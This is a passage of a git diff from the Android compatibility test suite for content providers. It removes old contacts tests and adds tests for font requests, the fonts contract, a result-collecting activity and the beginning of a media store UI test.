-            assertEquals(personId, cursor.getInt(membershipPersonIdIndex));
-            assertEquals(groupId, cursor.getInt(membershipGroupIdIndex));
-            cursor.close();
-
-            // People: test_people_1, Group: test_group_0
-            cursor = mProvider.query(mPeopleRowsAdded.get(1), PEOPLE_PROJECTION,
-                    null, null, null, null);
-            assertTrue(cursor.moveToFirst());
-            personId = cursor.getInt(PEOPLE_ID_INDEX);
-            cursor.close();
-            cursor = mProvider.query(mGroupRowsAdded.get(0), GROUPS_PROJECTION,
-                    null, null, null, null);
-            assertTrue(cursor.moveToFirst());
-            groupId = cursor.getInt(GROUPS_ID_INDEX);
-            cursor.close();
-            mRowsAdded.add(People.addToGroup(mContentResolver, personId, groupId));
-            cursor = People.queryGroups(mContentResolver, personId);
-            boolean found = false;
-            while (cursor.moveToNext()) {
-                assertEquals(personId, cursor.getInt(membershipPersonIdIndex));
-                if (cursor.getInt(membershipGroupIdIndex) == groupId) {
-                    found = true;
-                    break;
-                }
-            }
-            assertTrue(found);
-
-            cursor.close();
-
-            // People: test_people_2, Group: test_group_1
-            cursor = mProvider.query(mPeopleRowsAdded.get(2), PEOPLE_PROJECTION,
-                    null, null, null, null);
-            assertTrue(cursor.moveToFirst());
-            personId = cursor.getInt(PEOPLE_ID_INDEX);
-            cursor.close();
-            String groupName = "test_group_1";
-            mRowsAdded.add(People.addToGroup(mContentResolver, personId, groupName));
-            cursor = People.queryGroups(mContentResolver, personId);
-            List<Integer> groupIds = new ArrayList<Integer>();
-            while (cursor.moveToNext()) {
-                assertEquals(personId, cursor.getInt(membershipPersonIdIndex));
-                groupIds.add(cursor.getInt(membershipGroupIdIndex));
-            }
-            cursor.close();
-
-            found = false;
-            for (int id : groupIds) {
-                cursor = mProvider.query(Groups.CONTENT_URI, GROUPS_PROJECTION,
-                        Groups._ID + "=" + id, null, null, null);
-                cursor.moveToFirst();
-                if (groupName.equals(cursor.getString(GROUPS_NAME_INDEX))) {
-                    found = true;
-                    break;
-                }
-            }
-            assertTrue(found);
-            cursor.close();
-        } catch (RemoteException e) {
-            fail("Unexpected RemoteException");
-        }
-    }
-
-    public void testMarkAsContacted() {
-        Cursor cursor;
-        try {
-            cursor = mProvider.query(mPeopleRowsAdded.get(0), PEOPLE_PROJECTION,
-                    null, null, null, null);
-            cursor.moveToFirst();
-            int personId = cursor.getInt(PEOPLE_ID_INDEX);
-            long oldLastContacted = cursor.getLong(PEOPLE_LAST_CONTACTED_INDEX);
-            cursor.close();
-            People.markAsContacted(mContentResolver, personId);
-            cursor = mProvider.query(mPeopleRowsAdded.get(0), PEOPLE_PROJECTION,
-                    null, null, null, null);
-            cursor.moveToFirst();
-            long lastContacted = cursor.getLong(PEOPLE_LAST_CONTACTED_INDEX);
-            assertTrue(oldLastContacted < lastContacted);
-            oldLastContacted = lastContacted;
-            cursor.close();
-
-            People.markAsContacted(mContentResolver, personId);
-            cursor = mProvider.query(mPeopleRowsAdded.get(0), PEOPLE_PROJECTION,
-                    null, null, null, null);
-            cursor.moveToFirst();
-            lastContacted = cursor.getLong(PEOPLE_LAST_CONTACTED_INDEX);
-            assertTrue(oldLastContacted < lastContacted);
-            cursor.close();
-        } catch (RemoteException e) {
-            fail("Unexpected RemoteException");
-        }
-    }
-
-    public void testAccessPhotoData() {
-        Context context = getInstrumentation().getTargetContext();
-        try {
-            InputStream inputStream = context.getResources().openRawResource(
-                    android.provider.cts.R.drawable.testimage);
-            int size = inputStream.available();
-            byte[] data =  new byte[size];
-            inputStream.read(data);
-
-            People.setPhotoData(mContentResolver, mPeopleRowsAdded.get(0), data);
-            InputStream photoStream = People.openContactPhotoInputStream(
-                    mContentResolver, mPeopleRowsAdded.get(0));
-            assertNotNull(photoStream);
-            Bitmap bitmap = BitmapFactory.decodeStream(photoStream, null, null);
-            assertEquals(96, bitmap.getWidth());
-            assertEquals(64, bitmap.getHeight());
-
-            photoStream = People.openContactPhotoInputStream(mContentResolver,
-                    mPeopleRowsAdded.get(1));
-            assertNull(photoStream);
-
-            bitmap = People.loadContactPhoto(context, mPeopleRowsAdded.get(0),
-                    android.provider.cts.R.drawable.size_48x48, null);
-            assertEquals(96, bitmap.getWidth());
-            assertEquals(64, bitmap.getHeight());
-
-            bitmap = People.loadContactPhoto(context, null,
-                    android.provider.cts.R.drawable.size_48x48, null);
-            assertNotNull(bitmap);
-        } catch (IOException e) {
-            fail("Unexpected IOException");
-        }
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/Contacts_PhonesTest.java b/tests/tests/provider/src/android/provider/cts/Contacts_PhonesTest.java
deleted file mode 100644
index efd321d..0000000
--- a/tests/tests/provider/src/android/provider/cts/Contacts_PhonesTest.java
+++ /dev/null
@@ -1,104 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.content.Context;
-import android.provider.Contacts.Phones;
-import android.test.AndroidTestCase;
-
-public class Contacts_PhonesTest extends AndroidTestCase {
-    public void testGetDisplayLabel() {
-        CharSequence label = "label";
-        String display = Phones.getDisplayLabel(getContext(),
-                Phones.TYPE_CUSTOM, label).toString();
-        assertEquals(label, display);
-
-        CharSequence[] labels = getContext().getResources().getTextArray(
-                com.android.internal.R.array.phoneTypes);
-        display = Phones.getDisplayLabel(getContext(),
-                Phones.TYPE_HOME, label).toString();
-        assertEquals(labels[Phones.TYPE_HOME - 1], display);
-
-        display = Phones.getDisplayLabel(getContext(),
-                Phones.TYPE_MOBILE, label).toString();
-        assertEquals(labels[Phones.TYPE_MOBILE - 1], display);
-
-        display = Phones.getDisplayLabel(getContext(),
-                Phones.TYPE_WORK, label).toString();
-        assertEquals(labels[Phones.TYPE_WORK - 1], display);
-
-        display = Phones.getDisplayLabel(getContext(),
-                Phones.TYPE_FAX_WORK, label).toString();
-        assertEquals(labels[Phones.TYPE_FAX_WORK - 1], display);
-
-        display = Phones.getDisplayLabel(getContext(),
-                Phones.TYPE_FAX_HOME, label).toString();
-        assertEquals(labels[Phones.TYPE_FAX_HOME - 1], display);
-
-        display = Phones.getDisplayLabel(getContext(),
-                Phones.TYPE_PAGER, label).toString();
-        assertEquals(labels[Phones.TYPE_PAGER - 1], display);
-
-        display = Phones.getDisplayLabel(getContext(),
-                Phones.TYPE_OTHER, label).toString();
-        assertEquals(labels[Phones.TYPE_OTHER - 1], display);
-    }
-
-    public void testGetDisplayLabelCharSequenceArray() {
-        CharSequence label = "label";
-        CharSequence[] labelArray = new CharSequence[] {
-                "1 home",
-                "2 mobile",
-                "3 work",
-                "4 fax work",
-                "5 fax home",
-                "6 pager",
-                "7 other"};
-
-        String display = Phones.getDisplayLabel(getContext(),
-                Phones.TYPE_CUSTOM, label, labelArray).toString();
-        assertEquals(label, display);
-
-        display = Phones.getDisplayLabel(getContext(),
-                Phones.TYPE_HOME, label, labelArray).toString();
-        assertEquals(labelArray[Phones.TYPE_HOME - 1], display);
-
-        display = Phones.getDisplayLabel(getContext(),
-                Phones.TYPE_MOBILE, label, labelArray).toString();
-        assertEquals(labelArray[Phones.TYPE_MOBILE - 1], display);
-
-        display = Phones.getDisplayLabel(getContext(),
-                Phones.TYPE_WORK, label, labelArray).toString();
-        assertEquals(labelArray[Phones.TYPE_WORK - 1], display);
-
-        display = Phones.getDisplayLabel(getContext(),
-                Phones.TYPE_FAX_WORK, label, labelArray).toString();
-        assertEquals(labelArray[Phones.TYPE_FAX_WORK - 1], display);
-
-        display = Phones.getDisplayLabel(getContext(),
-                Phones.TYPE_FAX_HOME, label, labelArray).toString();
-        assertEquals(labelArray[Phones.TYPE_FAX_HOME - 1], display);
-
-        display = Phones.getDisplayLabel(getContext(),
-                Phones.TYPE_PAGER, label, labelArray).toString();
-        assertEquals(labelArray[Phones.TYPE_PAGER - 1], display);
-
-        display = Phones.getDisplayLabel(getContext(),
-                Phones.TYPE_OTHER, label, labelArray).toString();
-        assertEquals(labelArray[Phones.TYPE_OTHER - 1], display);
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/Contacts_SettingsTest.java b/tests/tests/provider/src/android/provider/cts/Contacts_SettingsTest.java
deleted file mode 100644
index 0cb7da5..0000000
--- a/tests/tests/provider/src/android/provider/cts/Contacts_SettingsTest.java
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.content.ContentResolver;
-import android.provider.Contacts.Settings;
-import android.test.InstrumentationTestCase;
-
-public class Contacts_SettingsTest extends InstrumentationTestCase {
-    private ContentResolver mContentResolver;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
-    }
-
-    public void testAccessSetting() {
-        String key1 = "key 1";
-        String value1 = "value 1";
-        String key2 = "key 2";
-        String value2 = "value 2";
-        Settings.setSetting(mContentResolver, "account", key1, value1);
-        Settings.setSetting(mContentResolver, "account", key2, value2);
-        assertEquals(value1, Settings.getSetting(mContentResolver, "account", key1));
-        assertEquals(value2, Settings.getSetting(mContentResolver, "account", key2));
-        assertNull(Settings.getSetting(mContentResolver, "account", "key not exist"));
-
-        Settings.setSetting(mContentResolver, "account", key1, value2);
-        assertEquals(value2, Settings.getSetting(mContentResolver, "account", key1));
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/FontRequestTest.java b/tests/tests/provider/src/android/provider/cts/FontRequestTest.java
new file mode 100644
index 0000000..d9b8a7f
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/FontRequestTest.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.provider.cts;
+
+import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertNull;
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.provider.FontRequest;
+import android.os.Parcel;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Base64;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Tests for {@link android.provider.FontRequest}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class FontRequestTest {
+    private static final String PROVIDER = "com.test.fontprovider.authority";
+    private static final String QUERY = "query";
+    private static final String PACKAGE = "com.test.fontprovider.package";
+    private static final byte[] BYTE_ARRAY =
+            Base64.decode("e04fd020ea3a6910a2d808002b30", Base64.DEFAULT);
+    private static final List<List<byte[]>> CERTS = Arrays.asList(Arrays.asList(BYTE_ARRAY));
+
+
+    @Test(expected = NullPointerException.class)
+    public void testShortConstructor_nullAuthority() {
+        new FontRequest(null, PACKAGE, QUERY);
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testShortConstructor_nullPackage() {
+        new FontRequest(PROVIDER, null, QUERY);
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testShortConstructor_nullQuery() {
+        new FontRequest(PROVIDER, PACKAGE, null);
+    }
+
+    @Test
+    public void testShortConstructor_defaults() {
+        // WHEN we create a request with the short constructor
+        FontRequest request = new FontRequest(PROVIDER, PACKAGE, QUERY);
+
+        // THEN we expect the defaults to be the following values
+        assertNotNull(request.getCertificates());
+        assertEquals(0, request.getCertificates().size());
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testLongConstructor_nullAuthority() {
+        new FontRequest(null, PACKAGE, QUERY, CERTS);
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testLongConstructor_nullPackage() {
+        new FontRequest(PROVIDER, null, QUERY, CERTS);
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testLongConstructor_nullQuery() {
+        new FontRequest(PROVIDER, PACKAGE, null, CERTS);
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testLongConstructor_nullCerts() {
+        new FontRequest(PROVIDER, PACKAGE, QUERY, null);
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/FontsContractTest.java b/tests/tests/provider/src/android/provider/cts/FontsContractTest.java
new file mode 100644
index 0000000..ea88369
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/FontsContractTest.java
@@ -0,0 +1,353 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.content.pm.Signature;
+import android.graphics.Typeface;
+import android.os.Handler;
+import android.os.Looper;
+import android.provider.FontRequest;
+import android.provider.FontsContract;
+import android.provider.FontsContract.Columns;
+import android.provider.FontsContract.FontFamilyResult;
+import android.provider.FontsContract.FontInfo;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import com.android.internal.annotations.GuardedBy;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class FontsContractTest {
+    private static final String AUTHORITY = "android.provider.fonts.cts.font";
+    private static final String PACKAGE = "android.provider.cts";
+
+    // Signature to be used for authentication to access content provider.
+    // In this test case, the content provider and consumer live in the same package, self package's
+    // signature works.
+    private static List<List<byte[]>> SIGNATURE;
+    static {
+        final Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+        try {
+            PackageManager manager = context.getPackageManager();
+            PackageInfo info = manager.getPackageInfo(
+                    context.getPackageName(), PackageManager.GET_SIGNATURES);
+            ArrayList<byte[]> out = new ArrayList<>();
+            for (Signature sig : info.signatures) {
+                out.add(sig.toByteArray());
+            }
+            SIGNATURE = new ArrayList<>();
+            SIGNATURE.add(out);
+        } catch (PackageManager.NameNotFoundException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private Instrumentation mInstrumentation;
+    private Context mContext;
+    private Handler mMainThreadHandler;
+
+    @Before
+    public void setUp() throws Exception {
+        mMainThreadHandler = new Handler(Looper.getMainLooper());
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mContext = mInstrumentation.getTargetContext();
+        MockFontProvider.prepareFontFiles(
+                InstrumentationRegistry.getInstrumentation().getTargetContext());
+    }
+
+    @After
+    public void tearDown() {
+        mMainThreadHandler = null;
+        MockFontProvider.cleanUpFontFiles(
+                InstrumentationRegistry.getInstrumentation().getTargetContext());
+    }
+
+    private static class TestCallback extends FontsContract.FontRequestCallback {
+        private final Object mLock = new Object();
+        @GuardedBy("mLock")
+        private Typeface mTypeface;
+        @GuardedBy("mLock")
+        private int mFailedReason;
+        @GuardedBy("mLock")
+        private int mSuccessCallCount;
+        @GuardedBy("mLock")
+        private int mFailedCallCount;
+
+        public void onTypefaceRetrieved(Typeface typeface) {
+            synchronized(mLock) {
+                mTypeface = typeface;
+                mSuccessCallCount++;
+            }
+        }
+
+        public void onTypefaceRequestFailed(int reason) {
+            synchronized(mLock) {
+                mFailedCallCount++;
+                mFailedReason = reason;
+            }
+        }
+
+        public Typeface getTypeface() {
+            synchronized(mLock) {
+                return mTypeface;
+            }
+        }
+
+        public int getFailedReason() {
+            synchronized(mLock) {
+                return mFailedReason;
+            }
+        }
+
+        public int getSuccessCallCount() {
+            synchronized(mLock) {
+                return mSuccessCallCount;
+            }
+        }
+
+        public int getFailedCallCount() {
+            synchronized(mLock) {
+                return mFailedCallCount;
+            }
+        }
+    }
+
+
+    @Test
+    public void requestFont() throws NameNotFoundException {
+        FontRequest request = new FontRequest(AUTHORITY, PACKAGE,
+                MockFontProvider.SINGLE_FONT_FAMILY_QUERY, SIGNATURE);
+        TestCallback callback = new TestCallback();
+
+        mInstrumentation.runOnMainSync(() -> FontsContract.requestFonts(
+                mContext, request, mMainThreadHandler, null, callback));
+
+        mInstrumentation.waitForIdleSync();
+        assertEquals(1, callback.getSuccessCallCount());
+        assertEquals(0, callback.getFailedCallCount());
+        assertNotNull(callback.mTypeface);
+    }
+
+    @Test
+    public void requestFontNegativeErrorCode() throws NameNotFoundException {
+        FontRequest request = new FontRequest(AUTHORITY, PACKAGE,
+                MockFontProvider.NEGATIVE_ERROR_CODE_QUERY, SIGNATURE);
+        TestCallback callback = new TestCallback();
+
+        mInstrumentation.runOnMainSync(() -> FontsContract.requestFonts(
+                mContext, request, mMainThreadHandler, null, callback));
+
+        mInstrumentation.waitForIdleSync();
+        assertNull(callback.mTypeface);
+        assertEquals(1, callback.getFailedCallCount());
+        assertEquals(0, callback.getSuccessCallCount());
+        assertEquals(FontsContract.FontRequestCallback.FAIL_REASON_FONT_LOAD_ERROR,
+                callback.getFailedReason());
+    }
+
+    @Test
+    public void querySingleFont() throws NameNotFoundException {
+        FontRequest request = new FontRequest(AUTHORITY, PACKAGE,
+                MockFontProvider.SINGLE_FONT_FAMILY_QUERY, SIGNATURE);
+        FontFamilyResult result = FontsContract.fetchFonts(
+                mContext, null /* cancellation signal */, request);
+        assertNotNull(result);
+        assertEquals(FontFamilyResult.STATUS_OK, result.getStatusCode());
+
+        FontInfo[] fonts = result.getFonts();
+        assertEquals(1, fonts.length);
+        FontInfo font = fonts[0];
+        assertNotNull(font.getUri());
+        assertEquals(Columns.RESULT_CODE_OK, font.getResultCode());
+        assertNotNull(FontsContract.buildTypeface(mContext, null /* cancellation signal */, fonts));
+    }
+
+    @Test
+    public void queryMultipleFont() throws NameNotFoundException {
+        FontRequest request = new FontRequest(AUTHORITY, PACKAGE,
+                MockFontProvider.MULTIPLE_FAMILY_QUERY, SIGNATURE);
+        FontFamilyResult result = FontsContract.fetchFonts(
+                mContext, null /* cancellation signal */, request);
+        assertNotNull(result);
+        assertEquals(FontFamilyResult.STATUS_OK, result.getStatusCode());
+
+        FontInfo[] fonts = result.getFonts();
+        assertEquals(4, fonts.length);
+        for (FontInfo font: fonts) {
+            assertNotNull(font.getUri());
+            assertEquals(Columns.RESULT_CODE_OK, font.getResultCode());
+        }
+        assertNotNull(FontsContract.buildTypeface(mContext, null /* cancellation signal */, fonts));
+    }
+
+    @Test
+    public void queryAttributes() throws NameNotFoundException {
+        FontRequest request = new FontRequest(AUTHORITY, PACKAGE,
+                MockFontProvider.ALL_ATTRIBUTE_VALUES_QUERY, SIGNATURE);
+        FontFamilyResult result = FontsContract.fetchFonts(
+                mContext, null /* cancellation signal */, request);
+        assertNotNull(result);
+        assertEquals(FontFamilyResult.STATUS_OK, result.getStatusCode());
+
+        FontInfo[] fonts = result.getFonts();
+        assertEquals(2, fonts.length);
+        FontInfo font = fonts[0];
+        assertNotNull(font.getUri());
+        assertEquals(400, font.getWeight());
+        assertEquals(1, font.getAxes().length);
+        assertEquals(0, font.getTtcIndex());
+        assertFalse(font.isItalic());
+        assertEquals(Columns.RESULT_CODE_OK, font.getResultCode());
+
+        font = fonts[1];
+        assertNotNull(font.getUri());
+        assertEquals(700, font.getWeight());
+        assertEquals(1, font.getAxes().length);
+        assertEquals(1, font.getTtcIndex());
+        assertTrue(font.isItalic());
+        assertEquals(Columns.RESULT_CODE_OK, font.getResultCode());
+
+        assertNotNull(FontsContract.buildTypeface(mContext, null /* cancellation signal */, fonts));
+    }
+
+    @Test
+    public void queryNotFound() throws NameNotFoundException {
+        FontRequest request = new FontRequest(AUTHORITY, PACKAGE,
+                MockFontProvider.NOT_FOUND_QUERY, SIGNATURE);
+        FontFamilyResult result = FontsContract.fetchFonts(
+                mContext, null /* cancellation signal */, request);
+        assertNotNull(result);
+        assertEquals(FontFamilyResult.STATUS_OK, result.getStatusCode());
+
+        FontInfo[] fonts = result.getFonts();
+        assertEquals(1, fonts.length);
+        FontInfo font = fonts[0];
+        assertEquals(Columns.RESULT_CODE_FONT_NOT_FOUND, font.getResultCode());
+        assertNull(FontsContract.buildTypeface(mContext, null /* cancellation signal */, fonts));
+    }
+
+    @Test
+    public void queryUnavailable() throws NameNotFoundException {
+        FontRequest request = new FontRequest(AUTHORITY, PACKAGE,
+                MockFontProvider.UNAVAILABLE_QUERY, SIGNATURE);
+        FontFamilyResult result = FontsContract.fetchFonts(
+                mContext, null /* cancellation signal */, request);
+        assertNotNull(result);
+        assertEquals(FontFamilyResult.STATUS_OK, result.getStatusCode());
+
+        FontInfo[] fonts = result.getFonts();
+        assertEquals(1, fonts.length);
+        FontInfo font = fonts[0];
+        assertEquals(Columns.RESULT_CODE_FONT_UNAVAILABLE, font.getResultCode());
+        assertNull(FontsContract.buildTypeface(mContext, null /* cancellation signal */, fonts));
+    }
+
+    @Test
+    public void queryMalformed() throws NameNotFoundException {
+        FontRequest request = new FontRequest(AUTHORITY, PACKAGE,
+                MockFontProvider.MALFORMED_QUERY, SIGNATURE);
+        FontFamilyResult result = FontsContract.fetchFonts(
+                mContext, null /* cancellation signal */, request);
+        assertNotNull(result);
+        assertEquals(FontFamilyResult.STATUS_OK, result.getStatusCode());
+
+        FontInfo[] fonts = result.getFonts();
+        assertEquals(1, fonts.length);
+        FontInfo font = fonts[0];
+        assertEquals(Columns.RESULT_CODE_MALFORMED_QUERY, font.getResultCode());
+        assertNull(FontsContract.buildTypeface(mContext, null /* cancellation signal */, fonts));
+    }
+
+    @Test
+    public void queryMultipleOneNotFound() throws NameNotFoundException {
+        FontRequest request = new FontRequest(AUTHORITY, PACKAGE,
+                MockFontProvider.NOT_FOUND_SECOND_QUERY, SIGNATURE);
+        FontFamilyResult result = FontsContract.fetchFonts(
+                mContext, null /* cancellation signal */, request);
+        assertNotNull(result);
+        assertEquals(FontFamilyResult.STATUS_OK, result.getStatusCode());
+
+        FontInfo[] fonts = result.getFonts();
+        assertEquals(2, fonts.length);
+        FontInfo font = fonts[0];
+        assertEquals(Columns.RESULT_CODE_OK, font.getResultCode());
+        FontInfo font2 = fonts[1];
+        assertEquals(Columns.RESULT_CODE_FONT_NOT_FOUND, font2.getResultCode());
+        assertNotNull(FontsContract.buildTypeface(mContext, null /* cancellation signal */, fonts));
+    }
+
+    @Test
+    public void queryMandatoryFieldsOnly() throws NameNotFoundException {
+        FontRequest request = new FontRequest(AUTHORITY, PACKAGE,
+                MockFontProvider.MANDATORY_FIELDS_ONLY_QUERY, SIGNATURE);
+        FontFamilyResult result = FontsContract.fetchFonts(
+                mContext, null /* cancellation signal */, request);
+        assertNotNull(result);
+        assertEquals(FontFamilyResult.STATUS_OK, result.getStatusCode());
+
+        FontInfo[] fonts = result.getFonts();
+        assertEquals(1, fonts.length);
+        FontInfo font = fonts[0];
+        assertNotNull(font.getUri());
+        assertEquals(400, font.getWeight());
+        assertNull(font.getAxes());
+        assertFalse(font.isItalic());
+        assertEquals(Columns.RESULT_CODE_OK, font.getResultCode());
+        assertNotNull(FontsContract.buildTypeface(mContext, null /* cancellation signal */, fonts));
+    }
+
+    @Test
+    public void restrictContextRejection() throws NameNotFoundException {
+        Context restrictedContext = mContext.createPackageContext(
+                PACKAGE, Context.CONTEXT_RESTRICTED);
+
+        FontRequest request = new FontRequest(AUTHORITY, PACKAGE,
+                MockFontProvider.SINGLE_FONT_FAMILY_QUERY, SIGNATURE);
+
+        // Rejected if restricted context is used.
+        FontFamilyResult result = FontsContract.fetchFonts(
+                restrictedContext, null /* cancellation signal */, request);
+        assertEquals(FontFamilyResult.STATUS_REJECTED, result.getStatusCode());
+
+        // Even if you have a result, buildTypeface should fail with restricted context.
+        result = FontsContract.fetchFonts(mContext, null /* cancellation signal */, request);
+        assertEquals(FontFamilyResult.STATUS_OK, result.getStatusCode());
+        assertNull(FontsContract.buildTypeface(
+                restrictedContext, null /* cancellation signal */, result.getFonts()));
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/GetResultActivity.java b/tests/tests/provider/src/android/provider/cts/GetResultActivity.java
new file mode 100644
index 0000000..0edc617
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/GetResultActivity.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+import java.util.concurrent.SynchronousQueue;
+import java.util.concurrent.TimeUnit;
+
+public class GetResultActivity extends Activity {
+    private static SynchronousQueue<Result> sResult;
+
+    public static class Result {
+        public final int requestCode;
+        public final int resultCode;
+        public final Intent data;
+
+        public Result(int requestCode, int resultCode, Intent data) {
+            this.requestCode = requestCode;
+            this.resultCode = resultCode;
+            this.data = data;
+        }
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
+                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON
+                | WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD);
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        try {
+            sResult.offer(new Result(requestCode, resultCode, data), 5, TimeUnit.SECONDS);
+        } catch (InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    public void clearResult() {
+        sResult = new SynchronousQueue<>();
+    }
+
+    public Result getResult() {
+        final Result result;
+        try {
+            result = sResult.poll(30, TimeUnit.SECONDS);
+        } catch (InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+        if (result == null) {
+            throw new IllegalStateException("Activity didn't receive a Result in 30 seconds");
+        }
+        return result;
+    }
+
+    public Result getResult(long timeout, TimeUnit unit) {
+        try {
+            return sResult.poll(timeout, unit);
+        } catch (InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStoreUiTest.java b/tests/tests/provider/src/android/provider/cts/MediaStoreUiTest.java
new file mode 100644
index 0000000..6d597a6
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/MediaStoreUiTest.java
@@ -0,0 +1,312 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts;
+
+import android.app.Activity;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.UriPermission;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.media.ExifInterface;
+import android.media.MediaScannerConnection;
+import android.net.Uri;
+import android.os.Environment;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+import android.os.storage.StorageManager;
+import android.os.storage.StorageVolume;
+import android.provider.MediaStore;
+import android.provider.cts.GetResultActivity.Result;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiSelector;
+import android.support.test.uiautomator.Until;
+import android.support.v4.content.FileProvider;
+import android.test.InstrumentationTestCase;
+import android.text.format.DateUtils;
+import android.util.Log;
+import android.view.KeyEvent;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
